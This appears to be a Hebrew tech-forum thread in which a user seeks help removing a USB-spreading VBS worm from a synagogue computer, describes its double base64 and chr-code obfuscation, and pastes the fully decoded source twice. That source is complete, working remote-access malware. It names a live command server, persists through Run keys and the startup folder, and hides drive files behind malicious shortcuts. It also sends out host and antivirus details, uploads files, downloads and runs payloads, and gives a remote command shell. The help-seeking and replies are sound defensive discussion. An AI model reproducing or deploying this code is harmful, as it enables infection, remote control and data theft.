            inf = inf & usbspreading
            information = inf  
        else
            information = inf
        end if
        end function
        
        sub upstart ()
        on error resume Next
        
        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
        
        end sub
        
        function hwid
        on error resume next
        
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set disks = root.execquery ("select * from win32_logicaldisk")
        for each disk in disks
            if  disk.volumeserialnumber <> "" then
                hwid = disk.volumeserialnumber
                exit for
            end if
        next
        end function
        
        function security 
        on error resume next
        
        security = ""
        
        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
        for each objitem in colitems
            versionstr = split (objitem.version,".")
        next
        versionstr = split (colitems.version,".")
        osversion = versionstr (0) & "."
        for  x = 1 to ubound (versionstr)
             osversion = osversion &  versionstr (i)
        next
        osversion = eval (osversion)
        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
        
        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
        
        for each objantivirus in colantivirus
            security  = security  & objantivirus.displayname & " ."
        next
        if security  = "" then security  = "nan-av"
        end function
        
        function instance
        on error resume next
        
        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
        if usbspreading = "" then
           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
              usbspreading = "true - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
           else
              usbspreading = "false - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        
           end if
        end If
        
        
        upstart
        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
            wscript.quit 
        end If
        err.clear
        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
        if  err.number > 0 then wscript.quit
        end function
        
        sub sitedownloader (fileurl,filename)
        
        strlink = fileurl
        strsaveto = installdir & filename
        set objhttpdownload = createobject("msxml2.xmlhttp" )
        objhttpdownload.open "get", strlink, false
        objhttpdownload.send
        
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
         
        if objhttpdownload.status = 200 then
           dim  objstreamdownload
           set  objstreamdownload = createobject("adodb.stream")
           with objstreamdownload
                .type = 1 
                .open
                .write objhttpdownload.responsebody
                .savetofile strsaveto
                .close
           end with
           set objstreamdownload = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        sub download (fileurl,filedir)
        
        if filedir = "" then 
           filedir = installdir
        end if
        
        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
        set objhttpdownload = createobject("msxml2.xmlhttp")
        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
        objhttpdownload.send ""
             
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
        if  objhttpdownload.status = 200 then
            dim  objstreamdownload
            set  objstreamdownload = createobject("adodb.stream")
            with objstreamdownload 
                 .type = 1 
                 .open
                 .write objhttpdownload.responsebody
                 .savetofile strsaveto
                 .close
            end with
            set objstreamdownload  = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        function upload (fileurl)
        
        dim  httpobj,objstreamuploade,buffer
        set  objstreamuploade = createobject("adodb.stream")
        with objstreamuploade 
             .type = 1 
             .open
             .loadfromfile fileurl
             buffer = .read
             .close
        end with
        set objstreamdownload = nothing
        set httpobj = createobject("msxml2.xmlhttp")
        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
        httpobj.send buffer
        end function
        
        function enumdriver ()
        
        for  each drive in filesystemobj.drives
        if   drive.isready = true then
             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
        end if
        next
        end Function
        
        function enumfaf (enumdir)
        
        enumfaf = enumdir & spliter
        for  each folder in filesystemobj.getfolder (enumdir).subfolders
             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
        next
        
        for  each file in filesystemobj.getfolder (enumdir).files
             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
        
        next
        end function
        
        function enumprocess ()
        
        on error resume next
        
        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_process",,48)
        
        dim objitem
        for each objitem in colitems
            enumprocess = enumprocess & objitem.name & "|"
            enumprocess = enumprocess & objitem.processid & "|"
            enumprocess = enumprocess & objitem.executablepath & spliter
        next
        end function
        
        sub exitprocess (pid)
        on error resume next
        
        shellobj.run "taskkill /F /T /PID " & pid,7,true
        end sub
        
        sub deletefaf (url)
        on error resume next
        
        filesystemobj.deletefile url
        filesystemobj.deletefolder url
        
        end sub
        
        function cmdshell (cmd)
        
        dim httpobj,oexec,readallfromany
        
        set oexec = shellobj.exec ("%comspec% /c " & cmd)
        if not oexec.stdout.atendofstream then
           readallfromany = oexec.stdout.readall
        elseif not oexec.stderr.atendofstream then
           readallfromany = oexec.stderr.readall
        else 
           readallfromany = ""
        end if
        
        cmdshell = readallfromany
        end function
        
        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי
        #14

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

        נראה שלא הועיל,
        לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

        מתכנת חובבמ תגובה 1 תגובה אחרונה
        1
        • cfopuserC cfopuser

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

          נראה שלא הועיל,
          לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי
          #15

          @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          ר תגובה 1 תגובה אחרונה
          0
          • מתכנת חובבמ מתכנת חובב

            @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

            ר מנותק
            ר מנותק
            רנדומלי
            כתב נערך לאחרונה על ידי
            #16

            השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
            מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

            מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

            גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

            @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

            cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
            0
            • ר רנדומלי

              השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
              מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

              מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

              גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

              @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי
              #17

              @רנדומלי היא כן.

              תגובה 1 תגובה אחרונה
              1
              • ר רנדומלי

                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                cmd /c hrxxryydxo.vbs && start explorer [file name]
                

                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                

                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                לאחר פיענוח הקידוד התקבל הקוד הבא:
                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                e
                '<[ recoder : houdini (c) skype : houdini-fx ]>
                
                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                
                host = "khattab.no-ip.biz"
                port = 5550
                installdir = "%temp%"
                lnkfile = true
                lnkfolder = true
                
                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                
                dim shellobj 
                set shellobj = wscript.createobject("wscript.shell")
                dim filesystemobj
                set filesystemobj = createobject("scripting.filesystemobject")
                dim httpobj
                set httpobj = createobject("msxml2.xmlhttp")
                
                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                
                installname = wscript.scriptname
                startup = shellobj.specialfolders ("startup") & "\"
                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                spliter = "<" & "|" & ">"
                sleep = 5000 
                dim response
                dim cmd
                dim param
                info = ""
                usbspreading = ""
                startdate = ""
                dim oneonce
                
                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                on error resume next
                
                instance
                while true
                
                install
                
                response = ""
                response = post ("is-ready","")
                cmd = split (response,spliter)
                select case cmd (0)
                case "excecute"
                      param = cmd (1)
                      execute param
                case "update"
                      param = cmd (1)
                      oneonce.close
                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                      oneonce.write param
                      oneonce.close
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                      wscript.quit 
                case "uninstall"
                      uninstall
                case "send"
                      download cmd (1),cmd (2)
                case "site-send"
                      sitedownloader cmd (1),cmd (2)
                case "recv"
                      param = cmd (1)
                      upload (param)
                case  "enum-driver"
                      post "is-enum-driver",enumdriver  
                case  "enum-faf"
                      param = cmd (1)
                      post "is-enum-faf",enumfaf (param)
                case  "enum-process"
                      post "is-enum-process",enumprocess   
                case  "cmd-shell"
                      param = cmd (1)
                      post "is-cmd-shell",cmdshell (param)  
                case  "delete"
                      param = cmd (1)
                      deletefaf (param) 
                case  "exit-process"
                      param = cmd (1)
                      exitprocess (param) 
                case  "sleep"
                      param = cmd (1)
                      sleep = eval (param)        
                end select
                
                wscript.sleep sleep
                
                wend
                
                sub install
                on error resume next
                dim lnkobj
                dim filename
                dim foldername
                dim fileicon
                dim foldericon
                
                upstart
                for each drive in filesystemobj.drives
                
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        if  instr (file.name,".") then
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                file.attributes = 2+4
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        folder.attributes = 2+4
                        foldername = folder.name
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        lnkobj.save()
                    next
                end If
                end If
                end if
                next
                err.clear
                end sub
                
                sub uninstall
                on error resume next
                dim filename
                dim foldername
                
                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                filesystemobj.deletefile startup & installname ,true
                filesystemobj.deletefile wscript.scriptfullname ,true
                
                for  each drive in filesystemobj.drives
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                         on error resume next
                         if  instr (file.name,".") then
                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                 file.attributes = 0
                                 if  ucase (file.name) <> ucase (installname) then
                                     filename = split(file.name,".")
                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                 else
                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                 end If
                             else
                                 filesystemobj.deletefile (file.path) 
                             end if
                         end if
                     next
                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                         folder.attributes = 0
                     next
                end if
                end if
                end if
                next
                wscript.quit
                end sub
                
                function post (cmd ,param)
                
                post = param
                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                httpobj.setrequestheader "user-agent:",information
                httpobj.send param
                post = httpobj.responsetext
                end function
                
                function information
                on error resume next
                if  inf = "" then
                    inf = hwid & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set os = root.execquery ("select * from win32_operatingsystem")
                    for each osinfo in os
                       inf = inf & osinfo.caption & spliter  
                       exit for
                    next
                    inf = inf & "plus" & spliter
                    inf = inf & security & spliter
                    inf = inf & usbspreading
                    information = inf  
                else
                    information = inf
                end if
                end function
                
                sub upstart ()
                on error resume Next
                
                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                
                end sub
                
                function hwid
                on error resume next
                
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set disks = root.execquery ("select * from win32_logicaldisk")
                for each disk in disks
                    if  disk.volumeserialnumber <> "" then
                        hwid = disk.volumeserialnumber
                        exit for
                    end if
                next
                end function
                
                function security 
                on error resume next
                
                security = ""
                
                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                for each objitem in colitems
                    versionstr = split (objitem.version,".")
                next
                versionstr = split (colitems.version,".")
                osversion = versionstr (0) & "."
                for  x = 1 to ubound (versionstr)
                     osversion = osversion &  versionstr (i)
                next
                osversion = eval (osversion)
                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                
                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                
                for each objantivirus in colantivirus
                    security  = security  & objantivirus.displayname & " ."
                next
                if security  = "" then security  = "nan-av"
                end function
                
                function instance
                on error resume next
                
                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                if usbspreading = "" then
                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                      usbspreading = "true - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                   else
                      usbspreading = "false - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                
                   end if
                end If
                
                
                upstart
                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                    wscript.quit 
                end If
                err.clear
                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                if  err.number > 0 then wscript.quit
                end function
                
                sub sitedownloader (fileurl,filename)
                
                strlink = fileurl
                strsaveto = installdir & filename
                set objhttpdownload = createobject("msxml2.xmlhttp" )
                objhttpdownload.open "get", strlink, false
                objhttpdownload.send
                
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                 
                if objhttpdownload.status = 200 then
                   dim  objstreamdownload
                   set  objstreamdownload = createobject("adodb.stream")
                   with objstreamdownload
                        .type = 1 
                        .open
                        .write objhttpdownload.responsebody
                        .savetofile strsaveto
                        .close
                   end with
                   set objstreamdownload = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                sub download (fileurl,filedir)
                
                if filedir = "" then 
                   filedir = installdir
                end if
                
                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                set objhttpdownload = createobject("msxml2.xmlhttp")
                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                objhttpdownload.send ""
                     
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                if  objhttpdownload.status = 200 then
                    dim  objstreamdownload
                    set  objstreamdownload = createobject("adodb.stream")
                    with objstreamdownload 
                         .type = 1 
                         .open
                         .write objhttpdownload.responsebody
                         .savetofile strsaveto
                         .close
                    end with
                    set objstreamdownload  = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                function upload (fileurl)
                
                dim  httpobj,objstreamuploade,buffer
                set  objstreamuploade = createobject("adodb.stream")
                with objstreamuploade 
                     .type = 1 
                     .open
                     .loadfromfile fileurl
                     buffer = .read
                     .close
                end with
                set objstreamdownload = nothing
                set httpobj = createobject("msxml2.xmlhttp")
                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                httpobj.send buffer
                end function
                
                function enumdriver ()
                
                for  each drive in filesystemobj.drives
                if   drive.isready = true then
                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                end if
                next
                end Function
                
                function enumfaf (enumdir)
                
                enumfaf = enumdir & spliter
                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                next
                
                for  each file in filesystemobj.getfolder (enumdir).files
                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                
                next
                end function
                
                function enumprocess ()
                
                on error resume next
                
                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                
                dim objitem
                for each objitem in colitems
                    enumprocess = enumprocess & objitem.name & "|"
                    enumprocess = enumprocess & objitem.processid & "|"
                    enumprocess = enumprocess & objitem.executablepath & spliter
                next
                end function
                
                sub exitprocess (pid)
                on error resume next
                
                shellobj.run "taskkill /F /T /PID " & pid,7,true
                end sub
                
                sub deletefaf (url)
                on error resume next
                
                filesystemobj.deletefile url
                filesystemobj.deletefolder url
                
                end sub
                
                function cmdshell (cmd)
                
                dim httpobj,oexec,readallfromany
                
                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                if not oexec.stdout.atendofstream then
                   readallfromany = oexec.stdout.readall
                elseif not oexec.stderr.atendofstream then
                   readallfromany = oexec.stderr.readall
                else 
                   readallfromany = ""
                end if
                
                cmdshell = readallfromany
                end function
                
                ת מנותק
                ת מנותק
                תלמידהון
                כתב נערך לאחרונה על ידי
                #18

                @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                תגובה 1 תגובה אחרונה
                0
                • ר רנדומלי

                  השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                  מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                  מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                  גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                  @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #19

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                  היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  ר תגובה 1 תגובה אחרונה
                  1
                  • מתכנת חובבמ מתכנת חובב

                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                    היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                    ר מנותק
                    ר מנותק
                    רנדומלי
                    כתב נערך לאחרונה על ידי
                    #20

                    @מתכנת-חובב
                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                    כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                    @תלמידהון
                    כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                    ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                    0
                    • ר רנדומלי

                      @מתכנת-חובב
                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                      @תלמידהון
                      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                      ת מנותק
                      ת מנותק
                      תלמידהון
                      כתב נערך לאחרונה על ידי
                      #21

                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                      אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                      תגובה 1 תגובה אחרונה
                      1
                      • ר רנדומלי

                        @מתכנת-חובב
                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                        @תלמידהון
                        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי מתכנת חובב
                        #22

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                        בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                        לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                        תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        ר תגובה 1 תגובה אחרונה
                        0
                        • מתכנת חובבמ מתכנת חובב

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

